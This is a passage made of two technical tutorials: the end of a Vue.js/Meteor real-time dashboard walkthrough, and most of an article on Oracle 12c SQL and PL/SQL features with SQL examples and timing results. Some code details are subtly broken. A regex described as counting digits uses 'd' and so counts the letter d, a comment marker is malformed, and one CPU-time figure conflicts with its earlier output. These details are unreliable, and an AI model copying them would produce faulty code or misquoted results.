minimongo without waiting for the server to receive and process it. This technique is called "Optimistic Update" and is very effective when the network quality is poor.  Next to the collections.js file in the lib folder, create a new methods.js file. Then, add a measure.add method that inserts a new measure into the Measures collection: import { Meteor } from 'meteor/meteor' import { Measures } from './collections' Meteor.methods({ 'measure.add' (measure) { Measures.insert({ ...measure, date: new Date(), }) }, }) We can now call this method with the Meteor.call function: Meteor.call('measure.add', someMeasure) The method will be run on both the client (using the client-side database called minimongo) and on the server. That way, the update will be instant for the client. Simulating measures Without further delay, let's build the simple component that will call this measure.add Meteor method: Add two buttons in the template of ProductionGenerator.vue: <template> <div class="production-generator"> <h1>Measure production</h1> <section class="actions"> <button @click="generateMeasure(false)">Generate Measure</button> <button @click="generateMeasure(true)">Generate Error</button> </section> </div> </template> Then, in the component script, create the generateMeasure method that generates some dummy data and then call the measure.add Meteor method: <script> import { Meteor } from 'meteor/meteor' export default { methods: { generateMeasure (error) { const value = Math.round(Math.random() * 100) const measure = { value, error, } Meteor.call('measure.add', measure) }, }, } </script> The component should look like this: If you click on the buttons, nothing visible should happen. Inspecting the data There is an easy way to check whether our code works and to verify that you can add items in the Measures collection. We can connect to the MongoDB database in a single command. In another terminal, run the following command to connect to the app's database: meteor mongo Then, enter this MongoDB query to fetch the documents of the measures collection (the argument used when creating the Measures Meteor collection): db.measures.find({}) If you clicked on the buttons, a list of measure documents should be displayed This means that our Meteor method worked and objects were inserted in our MongoDB database. Dashboard and reporting Now that our first page is done, we can continue with the real-time dashboard. Progress bars library To display some pretty indicators, let's install another Vue library that allows drawing progress bars along SVG paths; that way, we can have semi-circular bars: Add the vue-progress-path npm package to the project: meteor npm i -S vue-progress-path We need to tell the Vue compiler for Meteor not to process the files in node_modules where the package is installed. Create a new .vueignore file in the project root directory. This file works like a .gitignore: each line is a rule to ignore some paths. If it ends with a slash /, it will ignore only corresponding folders. So, the content of .vueignore should be as follows: node_modules/ Finally, install the vue-progress-path plugin in the client/main.js file: import 'vue-progress-path/dist/vue-progress-path.css' import VueProgress from 'vue-progress-path' Vue.use(VueProgress, { defaultShape: 'semicircle', }) Meteor publication To synchronize data, the client must subscribe to a publication declared on the server. A Meteor publication is a function that returns a Meteor collection query. It can take arguments to filter the data that will be synchronized. For our app, we will only need a simple measures publication that sends all the documents of the Measures collection: This code should only be run on the server. So, create a new server in the project folder and a new publications.js file inside that folder: import { Meteor } from 'meteor/meteor' import { Measures } from '../lib/collections' Meteor.publish('measures', function () { return Measures.find({}) }) This code will only run on the server because it is located in a folder called server. Creating the Dashboard component We are ready to build our ProductionDashboard component. Thanks to the vue- meteor-tracker we installed earlier, we have a new component definition option-- meteor. This is an object that describes the publications that need to be subscribed to and the collection data that needs to be retrieved for that component.    Add the following script section with the meteor definition option: <script> export default { meteor: { // Subscriptions and Collections queries here }, } </script> Inside the meteor option, subscribe to the measures publication with the $subscribe object: meteor: { $subscribe: { 'measures': [], }, }, Retrieve the measures with a query on the Measures Meteor collection inside the meteor option: meteor: { // ... measures () { return Measures.find({}, { sort: { date: -1 }, }) }, }, The second parameter of the find method is an options object very similar to the MongoDB JavaScript API. Here, we are sorting the documents by their date in descending order, thanks to the sort property of the options object. Finally, create the measures data property and initialize it to an empty array. The script of the component should now look like this: <script> import { Measures } from '../../lib/collections' export default { data () { return { measures: [], } }, meteor: { $subscribe: { 'measures': [], }, measures () { return Measures.find({}, { sort: { date: -1 }, }) }, }, } </script> In the browser devtools, you can now check whether the component has retrieved the items from the collection. Indicators We will create a separate component for the dashboard indicators, as follows: In the components folder, create a new ProductionIndicator.vue component. Declare a template that displays a progress bar, a title, and additional info text: <template> <div class="production-indicator"> <loading-progress :progress="value" /> <div class="title">{{ title }}</div> <div class="info">{{ info }}</div> </div> </template> Add the value, title, and info props: <script> export default { props: { value: { type: Number, required: true, }, title: String, info: [String, Number], }, } </script> Back in our ProductionDashboard component, let's compute the average of the values and the rate of errors: computed: { length () { return this.measures.length }, average () { if (!this.length) return 0 let total = this.measures.reduce( (total, measure) => total += measure.value, 0 ) return total / this.length }, errorRate () { if (!this.length) return 0 let total = this.measures.reduce( (total, measure) => total += measure.error ? 1 : 0, 0 ) return total / this.length }, }, 5. Add two indicators in the templates - one for the average value and one for the error rate: <template> <div class="production-dashboard"> <h1>Production Dashboard</h1> <section class="indicators"> <ProductionIndicator :value="average / 100" title="Average" :info="Math.round(average)" /> <ProductionIndicator class="danger" :value="errorRate" title="Errors" :info="`${Math.round(errorRate * 100)}%`" /> </section> </div> </template> The indicators should look like this: Listing the measures Finally, we will display a list of the measures below the indicators:  Add a simple list of <div> elements for each measure, displaying the date if it has an error and the value: <section class="list"> <div v-for="item of measures" :key="item._id" > <div class="date">{{ item.date.toLocaleString() }}</div> <div class="error">{{ item.error ? 'Error' : '' }}</div> <div class="value">{{ item.value }}</div> </div> </section> The app should now look as follows, with a navigation toolbar, two indicators, and the measures list: If you open the app in another window and put your windows side by side, you can see the full-stack reactivity of Meteor in action. Open the dashboard in one window and the generator page in the other window. Then, add fake measures and watch the data update on the other window in real time. If you want to learn more about Meteor, check out the official website and the Vue integration repository. To summarize, we created a project using Meteor. We integrated Vue into the app and set up a Meteor reactive collection. Using a Meteor method, we inserted documents into the collection and displayed in real-time the data in a dashboard component. You read an excerpt from a book written by Guillaume Chau, titled Vue.js 2 Web Development Projects. This book will help you build exciting real world web projects from scratch and become proficient with Vue.js Web Development. Read More Building your first Vue.js 2 Web application Why has Vue.js become so popular? Installing and Using Vue.js    

In this article by Saurabh K. Gupta, author of the book Oracle Advanced PL/SQL Developer Professional Guide, Second Edition you will learn new features in Oracle 12c SQL and PL/SQL. (For more resources related to this topic, see here.) Oracle 12c SQL and PL/SQL new features SQL is the most widely used data access language while PL/SQL is an exigent language that can integrate seamlessly with SQL commands. The biggest benefit of running PL/SQL is that the code processing happens natively within the Oracle Database. In the past, there have been debates and discussions on server side programming while the client invokes the PL/SQL routines to perform a task. The server side programming approach has many benefits. It reduces the network round trips between the client and the database. It reduces the code size and eases the code portability because PL/SQL can run on all platforms, wherever Oracle Database is supported. Oracle Database 12c introduces many language features and enhancements which are focused on SQL to PL/SQL integration, code migration, and ANSI compliance. This section discusses the SQL and PL/SQL new features in Oracle database 12c. IDENTITY columns Oracle Database 12c Release 1 introduces identity columns in the tables in compliance with the American National Standard Institute (ANSI) SQL standard. A table column, marked as IDENTITY, automatically generate an incremental numeric value at the time of record creation. Before the release of Oracle 12c, developers had to create an additional sequence object in the schema and assign its value to the column. The new feature simplifies code writing and benefits the migration of a non-Oracle database to Oracle. The following script declares an identity column in the table T_ID_COL: /*Create a table for demonstration purpose*/ CREATE TABLE t_id_col (id NUMBER GENERATED AS IDENTITY, name VARCHAR2(20)) / The identity column metadata can be queried from the dictionary views USER_TAB_COLSand USER_TAB_IDENTITY_COLS. Note that Oracle implicitly creates a sequence to generate the number values for the column. However, Oracle allows the configuration of the sequence attributes of an identity column. The custom sequence configuration is listed under IDENTITY_OPTIONS in USER_TAB_IDENTITY_COLS view: /*Query identity column information in USER_TAB_COLS*/ SELECT column_name, data_default, user_generated, identity_column FROM user_tab_cols WHERE table_name='T_ID_COL' / COLUMN_NAME DATA_DEFAULT USE IDE -------------- ------------------------------ --- --- ID "SCOTT"."ISEQ$$_93001".nextval YES YES NAME YES NO Let us check the attributes of the preceding sequence that Oracle has implicitly created. Note that the query uses REGEXP_SUBSTR to print the sequence configuration in multiple rows: /*Check the sequence configuration from USER_TAB_IDENTITY_COLS view*/ SELECT table_name,column_name, generation_type, REGEXP_SUBSTR(identity_options,'[^,]+', 1, LEVEL) identity_options FROM user_tab_identity_cols WHERE table_name = 'T_ID_COL' CONNECT BY REGEXP_SUBSTR(identity_options,'[^,]+',1,level) IS NOT NULL / TABLE_NAME COLUMN_NAME GENERATION IDENTITY_OPTIONS ---------- ---------------------- --------------------------------- T_ID_COL ID ALWAYS START WITH: 1 T_ID_COL ID ALWAYS INCREMENT BY: 1 T_ID_COL ID ALWAYS MAX_VALUE: 9999999999999999999999999999 T_ID_COL ID ALWAYS MIN_VALUE: 1 T_ID_COL ID ALWAYS CYCLE_FLAG: N T_ID_COL ID ALWAYS CACHE_SIZE: 20 T_ID_COL ID ALWAYS ORDER_FLAG: N 7 rows selected While inserting data in the table T_ID_COL, do not include the identity column as its value is automatically generated: /*Insert test data in the table*/ BEGIN INSERT INTO t_id_col (name) VALUES ('Allen'); INSERT INTO t_id_col (name) VALUES ('Matthew'); INSERT INTO t_id_col (name) VALUES ('Peter'); COMMIT; END; / Let us check the data in the table. Note the identity column values: /*Query the table*/ SELECT id, name FROM t_id_col / ID NAME ----- -------------------- 1 Allen 2 Matthew 3 Peter The sequence created under the covers for identity columns is tightly coupled with the column. If a user tries to insert a user-defined input for the identity column, the operation throws an exception ORA-32795: INSERT INTO t_id_col VALUES (7,'Steyn'); insert into t_id_col values (7,'Steyn') * ERROR at line 1: ORA-32795: cannot insert into a generated always identity column Default column value to a sequence in Oracle 12c Oracle Database 12c allows developers to default a column directly to a sequence‑generated value. The DEFAULT clause of a table column can be assigned to SEQUENCE.CURRVAL or SEQUENCE.NEXTVAL. The feature will be useful while migrating non-Oracle data definitions to Oracle. The DEFAULT ON NULL clause Starting with Oracle Database 12c, a column can be assigned a default non-null value whenever the user tries to insert NULL into the column. The default value will be specified in the DEFAULT clause of the column with a new ON NULL extension. Note that the DEFAULT ON NULL cannot be used with an object type column. The following script creates a table t_def_cols. A column ID has been defaulted to a sequence while the column DOJ will always have a non-null value: /*Create a sequence*/ CREATE SEQUENCE seq START WITH 100 INCREMENT BY 10 / /*Create a table with a column defaulted to the sequence value*/ CREATE TABLE t_def_cols ( id number default seq.nextval primary key, name varchar2(30), doj date default on null '01-Jan-2000' ) / The following PL/SQL block inserts the test data: /*Insert the test data in the table*/ BEGIN INSERT INTO t_def_cols (name, doj) values ('KATE', '27-FEB-2001'); INSERT INTO t_def_cols (name, doj) values ('NANCY', '17-JUN-1998'); INSERT INTO t_def_cols (name, doj) values ('LANCE', '03-JAN-2004'); INSERT INTO t_def_cols (name) values ('MARY'); COMMIT; END; / Query the table and check the values for the ID and DOJ columns. ID gets the value from the sequence SEQ while DOJ for MARY has been defaulted to 01-JAN-2000. /*Query the table to verify sequence and default on null values*/ SELECT * FROM t_def_cols / ID NAME DOJ ---------- -------- --------- 100 KATE 27-FEB-01 110 NANCY 17-JUN-98 120 LANCE 03-JAN-04 130 MARY 01-JAN-00 Support for 32K VARCHAR2 Oracle Database 12c supports the VARCHAR2, NVARCHAR2, and RAW datatypes up to 32,767 bytes in size. The previous maximum limit for the VARCHAR2 (and NVARCHAR2) and RAW datatypes was 4,000 bytes and 2,000 bytes respectively. The support for extended string datatypes will benefit the non-Oracle to Oracle migrations. The feature can be controlled using the initialization parameter MAX_STRING_SIZE. It accepts two values: STANDARD (default)—The maximum size prior to the release of Oracle Database 12c will apply. EXTENDED—The new size limit for string datatypes apply. Note that, after the parameter is set to EXTENDED, the setting cannot be rolled back. The steps to increase the maximum string size in a database are: Restart the database in UPGRADE mode. In the case of a pluggable database, the PDB must be opened in MIGRATEmode. Use the ALTER SYSTEM command to set MAX_STRING_SIZE to EXTENDED. As SYSDBA, execute the $ORACLE_HOME/rdbms/admin/utl32k.sql script. The script is used to increase the maximum size limit of VARCHAR2, NVARCHAR2, and RAW wherever required. Restart the database in NORMAL mode. As SYSDBA, execute utlrp.sql to recompile the schema objects with invalid status. The points to be considered while working with the 32k support for string types are: COMPATIBLE must be 12.0.0.0 After the parameter is set to EXTENDED, the parameter cannot be rolled back to STANDARD In RAC environments, all the instances of the database comply with the setting of MAX_STRING_SIZE Row limiting using FETCH FIRST For Top-N queries, Oracle Database 12c introduces a new clause, FETCH FIRST, to simplify the code and comply with ANSI SQL standard guidelines. The clause is used to limit the number of rows returned by a query. The new clause can be used in conjunction with ORDER BY to retrieve Top-N results. The row limiting clause can be used with the FOR UPDATE clause in a SQL query. In the case of a materialized view, the defining query should not contain the FETCH clause. Another new clause, OFFSET, can be used to skip the records from the top or middle, before limiting the number of rows. For consistent results, the offset value must be a positive number, less than the total number of rows returned by the query. For all other offset values, the value is counted as zero. Keywords with the FETCH FIRST clause are: FIRST | NEXT—Specify FIRST to begin row limiting from the top. Use NEXT with OFFSET to skip certain rows. ROWS | PERCENT—Specify the size of the result set as a fixed number of rows or percentage of total number of rows returned by the query. ONLY | WITH TIES—Use ONLY to fix the size of the result set, irrespective of duplicate sort keys. If you want records with matching sort keys, specify WITH TIES. The following query demonstrates the use of the FETCH FIRST and OFFSET clauses in Top-N queries: /*Create the test table*/ CREATE TABLE t_fetch_first (empno VARCHAR2(30), deptno NUMBER, sal NUMBER, hiredate DATE) / The following PL/SQL block inserts sample data for testing: /*Insert the test data in T_FETCH_FIRST table*/ BEGIN INSERT INTO t_fetch_first VALUES (101, 10, 1500, '01-FEB-2011'); INSERT INTO t_fetch_first VALUES (102, 20, 1100, '15-JUN-2001'); INSERT INTO t_fetch_first VALUES (103, 20, 1300, '20-JUN-2000'); INSERT INTO t_fetch_first VALUES (104, 30, 1550, '30-DEC-2001'); INSERT INTO t_fetch_first VALUES (105, 10, 1200, '11-JUL-2012'); INSERT INTO t_fetch_first VALUES (106, 30, 1400, '16-AUG-2004'); INSERT INTO t_fetch_first VALUES (107, 20, 1350, '05-JAN-2007'); INSERT INTO t_fetch_first VALUES (108, 20, 1000, '18-JAN-2009'); COMMIT; END; / The SELECT query pulls in the top-5 rows when sorted by their salary: /*Query to list top-5 employees by salary*/ SELECT * FROM t_fetch_first ORDER BY sal DESC FETCH FIRST 5 ROWS ONLY / EMPNO DEPTNO SAL HIREDATE -------- ------ ------- --------- 104 30 1550 30-DEC-01 101 10 1500 01-FEB-11 106 30 1400 16-AUG-04 107 20 1350 05-JAN-07 103 20 1300 20-JUN-00 The SELECT query lists the top 25% of employees (2) when sorted by their hiredate: /*Query to list top-25% employees by hiredate*/ SELECT * FROM t_fetch_first ORDER BY hiredate FETCH FIRST 25 PERCENT ROW ONLY / EMPNO DEPTNO SAL HIREDATE -------- ------ ----- --------- 103 20 1300 20-JUN-00 102 20 1100 15-JUN-01 The SELECT query skips the first five employees and displays the next two—the 6th and 7th employee data: /*Query to list 2 employees after skipping first 5 employees*/ SELECT * FROM t_fetch_first ORDER BY SAL DESC OFFSET 5 ROWS FETCH NEXT 2 ROWS ONLY / Invisible columns Oracle Database 12c supports invisible columns, which implies that the visibility of a column. A column marked invisible does not appear in the following operations: SELECT * FROM queries on the table SQL* Plus DESCRIBE command Local records of %ROWTYPE Oracle Call Interface (OCI) description A column can be made invisible by specifying the INVISIBLE clause against the column. Columns of all types (except user-defined types), including virtual columns, can be marked invisible, provided the tables are not temporary tables, external tables, or clustered ones. An invisible column can be explicitly selected by the SELECT statement. Similarly, the INSERTstatement will not insert values in an invisible column unless explicitly specified. Furthermore, a table can be partitioned based on an invisible column. A column retains its nullity feature even after it is made invisible. An invisible column can be made visible, but the ordering of the column in the table may change. In the following script, the column NICKNAME is set as invisible in the table t_inv_col: /*Create a table to demonstrate invisible columns*/ CREATE TABLE t_inv_col (id NUMBER, name VARCHAR2(30), nickname VARCHAR2 (10) INVISIBLE, dob DATE ) / The information about the invisible columns can be found in user_tab_cols. Note that the invisible column is marked as hidden: /*Query the USER_TAB_COLS for metadata information*/ SELECT column_id, column_name, hidden_column FROM user_tab_cols WHERE table_name = 'T_INV_COL' ORDER BY column_id / COLUMN_ID COLUMN_NAME HID ---------- ------------ --- 1 ID NO 2 NAME NO 3 DOB NO NICKNAME YES Hidden columns are different from invisible columns. Invisible columns can be made visible and vice versa, but hidden columns cannot be made visible. If we try to make the NICKNAME visible and NAME invisible, observe the change in column ordering: /*Script to change visibility of NICKNAME column*/ ALTER TABLE t_inv_col MODIFY nickname VISIBLE / /*Script to change visibility of NAME column*/ ALTER TABLE t_inv_col MODIFY name INVISIBLE / /*Query the USER_TAB_COLS for metadata information*/ SELECT column_id, column_name, hidden_column FROM user_tab_cols WHERE table_name = 'T_INV_COL' ORDER BY column_id / COLUMN_ID COLUMN_NAME HID ---------- ------------ --- 1 ID NO 2 DOB NO 3 NICKNAME NO NAME YES Temporal databases Temporal databases were released as a new feature in ANSI SQL:2011. The term temporal data can be understood as a piece of information that can be associated with a period within which the information is valid. Before the feature was included in Oracle Database 12c, data whose validity is linked with a time period had to be handled either by the application or using multiple predicates in the queries. Oracle 12c partially inherits the feature from the ANSI SQL:2011 standard to support the entities whose business validity can be bracketed with a time dimension. If you're relating a temporal database with the Oracle Database 11g Total Recall feature, you're wrong. The total recall feature records the transaction time of the data in the database to secure the transaction validity and not the functional validity. For example, an investment scheme is active between January to December. The date recorded in the database at the time of data loading is the transaction timestamp. [box type="info" align="" class="" width=""]Starting from Oracle 12c, the Total Recall feature has been rebranded as Flashback Data Archive and has been made available for all versions of Oracle Database.[/box] The valid time temporal can be enabled for a table by adding a time dimension using the PERIOD FOR clause on the date or timestamp columns of the table. The following script creates a table t_tmp_db with the valid time temporal: /*Create table with valid time temporal*/ CREATE TABLE t_tmp_db( id NUMBER, name VARCHAR2(30), policy_no VARCHAR2(50), policy_term number, pol_st_date date, pol_end_date date, PERIOD FOR pol_valid_time (pol_st_date, pol_end_date)) / Create some sample data in the table: /*Insert test data in the table*/ BEGIN INSERT INTO t_tmp_db VALUES (100, 'Packt', 'PACKT_POL1', 1, '01-JAN-2015', '31-DEC-2015'); INSERT INTO t_tmp_db VALUES (110, 'Packt', 'PACKT_POL2', 2, '01-JAN-2015', '30-JUN-2015'); INSERT INTO t_tmp_db VALUES (120, 'Packt', 'PACKT_POL3', 3, '01-JUL-2015', '31-DEC-2015'); COMMIT; END; / Let us set the current time period window using DBMS_FLASHBACK_ARCHIVE. Grant the EXECUTE privilege on the package to the scott user. /*Connect to sysdba to grant execute privilege to scott*/ conn / as sysdba GRANT EXECUTE ON dbms_flashback_archive to scott / Grant succeeded. /*Connect to scott*/ conn scott/tiger /*Set the valid time period as CURRENT*/ EXEC DBMS_FLASHBACK_ARCHIVE.ENABLE_AT_VALID_TIME('CURRENT'); PL/SQL procedure successfully completed. Setting the valid time period as CURRENT means that all the tables with a valid time temporal will only list the rows that are valid with respect to today's date. You can set the valid time to a particular date too. /*Query the table*/ SELECT * from t_tmp_db / ID POLICY_NO POL_ST_DATE POL_END_DATE --------- ---------- ----------------------- ------------------- 100 PACKT_POL1 01-JAN-15 31-DEC-15 110 PACKT_POL2 01-JAN-15 30-JUN-15 [box type="info" align="" class="" width=""]Due to dependency on the current date, the result may vary when the reader runs the preceding queries.[/box] The query lists only those policies that are active as of March 2015. Since the third policy starts in July 2015, it is currently not active. In-Database Archiving Oracle Database 12c introduces In-Database Archiving to archive the low priority data in a table. The inactive data remains in the database but is not visible to the application. You can mark old data for archival, which is not actively required in the application except for regulatory purposes. Although the archived data is not visible to the application, it is available for querying and manipulation. In addition, the archived data can be compressed to improve backup performance. A table can be enabled by specifying the ROW ARCHIVAL clause at the table level, which adds a hidden column ORA_ARCHIVE_STATE to the table structure. The column value must be updated to mark a row for archival. For example: /*Create a table with row archiving*/ CREATE TABLE t_row_arch( x number, y number, z number) ROW ARCHIVAL / When we query the table structure in the USER_TAB_COLS view, we find an additional hidden column, which Oracle implicitly adds to the table: /*Query the columns information from user_tab_cols view*/ SELECT column_id,column_name,data_type, hidden_column FROM user_tab_cols WHERE table_name='T_ROW_ARCH' / COLUMN_ID COLUMN_NAME DATA_TYPE HID ---------- ------------------ ---------- --- ORA_ARCHIVE_STATE VARCHAR2 YES 1 X NUMBER NO 2 Y NUMBER NO 3 Z NUMBER NO Let us create test data in the table: /Insert test data in the table*/ BEGIN INSERT INTO t_row_arch VALUES (10,20,30); INSERT INTO t_row_arch VALUES (11,22,33); INSERT INTO t_row_arch VALUES (21,32,43); INSERT INTO t_row_arch VALUES (51,82,13); commit; END; / For testing purpose, let us archive the rows in the table where X > 50 by updating the ora_archive_state column: /*Update ORA_ARCHIVE_STATE column in the table*/ UPDATE t_row_arch SET ora_archive_state = 1 WHERE x > 50 / COMMIT / By default, the session displays only the active records from an archival-enabled table: /*Query the table*/ SELECT * FROM t_row_arch / X Y Z ------ -------- ---------- 10 20 30 11 22 33 21 32 43 If you wish to display all the records, change the session setting: /*Change the session parameter to display the archived records*/ ALTER SESSION SET ROW ARCHIVAL VISIBILITY = ALL / Session altered. /*Query the table*/ SELECT * FROM t_row_arch / X Y Z ---------- ---------- ---------- 10 20 30 11 22 33 21 32 43 51 82 13 Defining a PL/SQL subprogram in the SELECT query and PRAGMA UDF Oracle Database 12c includes two new features to enhance the performance of functions when called from SELECT statements. With Oracle 12c, a PL/SQL subprogram can be created inline with the SELECT query in the WITH clause declaration. The function created in the WITH clause subquery is not stored in the database schema and is available for use only in the current query. Since a procedure created in the WITH clause cannot be called from the SELECT query, it can be called in the function created in the declaration section. The feature can be very handy in read-only databases where the developers were not able to create PL/SQL wrappers. Oracle Database 12c adds the new PRAGMA UDF to create a standalone function with the same objective. Earlier, the SELECT queries could invoke a PL/SQL function, provided the function didn't change the database purity state. The query performance used to degrade because of the context switch from SQL to the PL/SQL engine (and vice versa) and the different memory representations of data type representation in the processing engines. In the following example, the function fun_with_plsql calculates the annual compensation of an employee's monthly salary: /*Create a function in WITH clause declaration*/ WITH FUNCTION fun_with_plsql (p_sal NUMBER) RETURN NUMBER IS BEGIN RETURN (p_sal * 12); END; SELECT ename, deptno, fun_with_plsql (sal) "annual_sal" FROM emp / ENAME DEPTNO annual_sal ---------- --------- ---------- SMITH 20 9600 ALLEN 30 19200 WARD 30 15000 JONES 20 35700 MARTIN 30 15000 BLAKE 30 34200 CLARK 10 29400 SCOTT 20 36000 KING 10 60000 TURNER 30 18000 ADAMS 20 13200 JAMES 30 11400 FORD 20 36000 MILLER 10 15600 14 rows selected. [box type="info" align="" class="" width=""]If the query containing the WITH clause declaration is not a top-level statement, then the top level statement must use the WITH_PLSQL hint. The hint will be used if INSERT, UPDATE, or DELETE statements are trying to use a SELECT with a WITHclause definition. Failure to include the hint results in an exception ORA-32034: unsupported use of WITH clause.[/box] A function can be created with the PRAGMA UDF to inform the compiler that the function is always called in a SELECT statement. Note that the standalone function created in the following code carries the same name as the one in the last example. The local WITH clause declaration takes precedence over the standalone function in the schema. /*Create a function with PRAGMA UDF*/ CREATE OR REPLACE FUNCTION fun_with_plsql (p_sal NUMBER) RETURN NUMBER is PRAGMA UDF; BEGIN RETURN (p_sal *12); END; / Since the objective of the feature is performance, let us go ahead with a case study to compare the performance when using a standalone function, a PRAGMA UDF function, and a WITHclause declared function. Test setup The exercise uses a test table with 1 million rows, loaded with random data. /*Create a table for performance test study*/ CREATE TABLE t_fun_plsql (id number, str varchar2(30)) / /*Generate and load random data in the table*/ INSERT /*+APPEND*/ INTO t_fun_plsql SELECT ROWNUM, DBMS_RANDOM.STRING('X', 20) FROM dual CONNECT BY LEVEL <= 1000000 / COMMIT / Case 1: Create a PL/SQL standalone function as it used to be until Oracle Database 12c. The function counts the numbers in the str column of the table. /*Create a standalone function without Oracle 12c enhancements*/ CREATE OR REPLACE FUNCTION f_count_num (p_str VARCHAR2) RETURN PLS_INTEGER IS BEGIN RETURN (REGEXP_COUNT(p_str,'d')); END; / The PL/SQL block measures the elapsed and CPU time when working with a pre-Oracle 12c standalone function. These numbers will serve as the baseline for our case study. /*Set server output on to display messages*/ SET SERVEROUTPUT ON /*Anonymous block to measure performance of a standalone function*/ DECLARE l_el_time PLS_INTEGER; l_cpu_time PLS_INTEGER; CURSOR C1 IS SELECT f_count_num (str) FROM t_fun_plsql; TYPE t_tab_rec IS TABLE OF PLS_INTEGER; l_tab t_tab_rec; BEGIN l_el_time := DBMS_UTILITY.GET_TIME (); l_cpu_time := DBMS_UTILITY.GET_CPU_TIME (); OPEN c1; FETCH c1 BULK COLLECT INTO l_tab; CLOSE c1; DBMS_OUTPUT.PUT_LINE ('Case 1: Performance of a standalone function'); DBMS_OUTPUT.PUT_LINE ('Total elapsed time:'||to_char(DBMS_UTILITY.GET_TIME () - l_el_time)); DBMS_OUTPUT.PUT_LINE ('Total CPU time:'||to_char(DBMS_UTILITY.GET_CPU_TIME () - l_cpu_time)); END; / Performance of a standalone function: Total elapsed time:1559 Total CPU time:1366 PL/SQL procedure successfully completed. Case 2: Create a PL/SQL function using PRAGMA UDF to count the numbers in the str column. /*Create the function with PRAGMA UDF*/ CREATE OR REPLACE FUNCTION f_count_num_pragma (p_str VARCHAR2) RETURN PLS_INTEGER IS PRAGMA UDF; BEGIN RETURN (REGEXP_COUNT(p_str,'d')); END; / Let us now check the performance of the PRAGMA UDF function using the following PL/SQL block. /*Set server output on to display messages*/ SET SERVEROUTPUT ON /*Anonymous block to measure performance of a PRAGMA UDF function*/ DECLARE l_el_time PLS_INTEGER; l_cpu_time PLS_INTEGER; CURSOR C1 IS SELECT f_count_num_pragma (str) FROM t_fun_plsql; TYPE t_tab_rec IS TABLE OF PLS_INTEGER; l_tab t_tab_rec; BEGIN l_el_time := DBMS_UTILITY.GET_TIME (); l_cpu_time := DBMS_UTILITY.GET_CPU_TIME (); OPEN c1; FETCH c1 BULK COLLECT INTO l_tab; CLOSE c1; DBMS_OUTPUT.PUT_LINE ('Case 2: Performance of a PRAGMA UDF function'); DBMS_OUTPUT.PUT_LINE ('Total elapsed time:'||to_char(DBMS_UTILITY.GET_TIME () - l_el_time)); DBMS_OUTPUT.PUT_LINE ('Total CPU time:'||to_char(DBMS_UTILITY.GET_CPU_TIME () - l_cpu_time)); END; / Performance of a PRAGMA UDF function: Total elapsed time:664 Total CPU time:582 PL/SQL procedure successfully completed. Case 3: The following PL/SQL block dynamically executes the function in the WITH clause subquery. Note that, unlike other SELECT statements, a SELECT query with a WITH clause declaration cannot be executed statically in the body of a PL/SQL block. /*Set server output on to display messages*/ SET SERVEROUTPUT ON /*Anonymous block to measure performance of inline function*/ DECLARE l_el_time PLS_INTEGER; l_cpu_time PLS_INTEGER; l_sql VARCHAR2(32767); c1 sys_refcursor; TYPE t_tab_rec IS TABLE OF PLS_INTEGER; l_tab t_tab_rec; BEGIN l_el_time := DBMS_UTILITY.get_time; l_cpu_time := DBMS_UTILITY.get_cpu_time; l_sql := 'WITH FUNCTION f_count_num_with (p_str VARCHAR2) RETURN NUMBER IS BEGIN RETURN (REGEXP_COUNT(p_str,'''||''||'d'||''')); END; SELECT f_count_num_with(str) FROM t_fun_plsql'; OPEN c1 FOR l_sql; FETCH c1 bulk collect INTO l_tab; CLOSE c1; DBMS_OUTPUT.PUT_LINE ('Case 3: Performance of an inline function'); DBMS_OUTPUT.PUT_LINE ('Total elapsed time:'||to_char(DBMS_UTILITY.GET_TIME () - l_el_time)); DBMS_OUTPUT.PUT_LINE ('Total CPU time:'||to_char(DBMS_UTILITY.GET_CPU_TIME () - l_cpu_time)); END; / Performance of an inline function: Total elapsed time:830 Total CPU time:718 PL/SQL procedure successfully completed. Comparative analysis Comparing the results from the preceding three cases, it's clear that the Oracle 12c flavor of PL/SQL functions out-performs the pre-12c standalone function by a high margin. From the following matrix, it is apparent that the usage of the PRAGMA UDF or WITH clause declaration enhances the code performance by (roughly) a factor of 2. Case Description Elapsed Time CPU time Performance gain factor by CPU time Standalone PL/SQL function in pre-Oracle 12c database 1559 1336 1x Standalone PL/SQL PRAGMA UDF function in Oracle 12c 664 582 2.3x Function created in WITH clause declaration in Oracle 12c 830 718 1.9x   [box type="info" align="" class="" width=""]Note that the numbers may slightly differ in the reader's testing environment but you should be able to draw the same conclusion by comparing them.[/box] The PL/SQL program unit whitelisting Prior to Oracle 12c, a standalone or packaged PL/SQL unit could be invoked by all other programs in the session's schema. Oracle Database 12c allows users to prevent unauthorized access to PL/SQL program units. You can now specify the list of whitelist program units that can invoke a particular program. The PL/SQL program header or the package specification can specify the list of program units in the ACCESSIBLE BY clause in the program header. All other program units, including cross-schema references (even SYS owned objects), trying to access a protected subprogram will receive an exception, PLS-00904: insufficient privileges to access object [object name]. The feature can be very useful in an extremely sensitive development environment. Suppose, a package PKG_FIN_PROC contains the sensitive implementation routines for financial institutions, the packaged subprograms are called by another PL/SQL package PKG_FIN_INTERNALS. The API layer exposes a fixed list of programs through a public API called PKG_CLIENT_ACCESS. In order to restrict access to the packaged routines in PKG_FIN_PROC, the users can build a safety net so as to allow access to only authorized programs. The following PL/SQL package PKG_FIN_PROC contains two subprograms—P_FIN_QTR and P_FIN_ANN. The ACCESSIBLE BY clause includes PKG_FIN_INTERNALS which means that all other program units, including anonymous PL/SQL blocks, are blocked from invoking PKG_FIN_PROC constructs. /*Package with the accessible by clause*/ CREATE OR REPLACE PACKAGE pkg_fin_proc ACCESSIBLE BY (PACKAGE pkg_fin_internals) IS PROCEDURE p_fin_qtr; PROCEDURE p_fin_ann; END; / [box type="info" align="" class="" width=""]The ACCESSIBLE BY clause can be specified for schema-level programs only.[/box] Let's see what happens when we invoke the packaged subprogram from an anonymous PL/SQL block. /*Invoke the packaged subprogram from the PL/SQL block*/ BEGIN pkg_fin_proc.p_fin_qtr; END; / pkg_fin_proc.p_fin_qtr; * ERROR at line 2: ORA-06550: line 2, column 4: PLS-00904: insufficient privilege to access object PKG_FIN_PROC ORA-06550: line 2, column 4: PL/SQL: Statement ignored Well, the compiler throws an exception as invoking the whitelisted package from an anonymous block is not allowed. The ACCESSIBLE BY clause can be included in the header information of PL/SQL procedures and functions, packages, and object types. Granting roles to PL/SQL program units Before Oracle Database 12c, a PL/SQL unit created with the definer's rights (default AUTHID) always executed with the definer's rights, whether or not the invoker has the required privileges. It may lead to an unfair situation where the invoking user may perform unwanted operations without needing the correct set of privileges. Similarly for an invoker's right unit, if the invoking user possesses a higher set of privileges than the definer, he might end up performing unauthorized operations. Oracle Database 12c secures 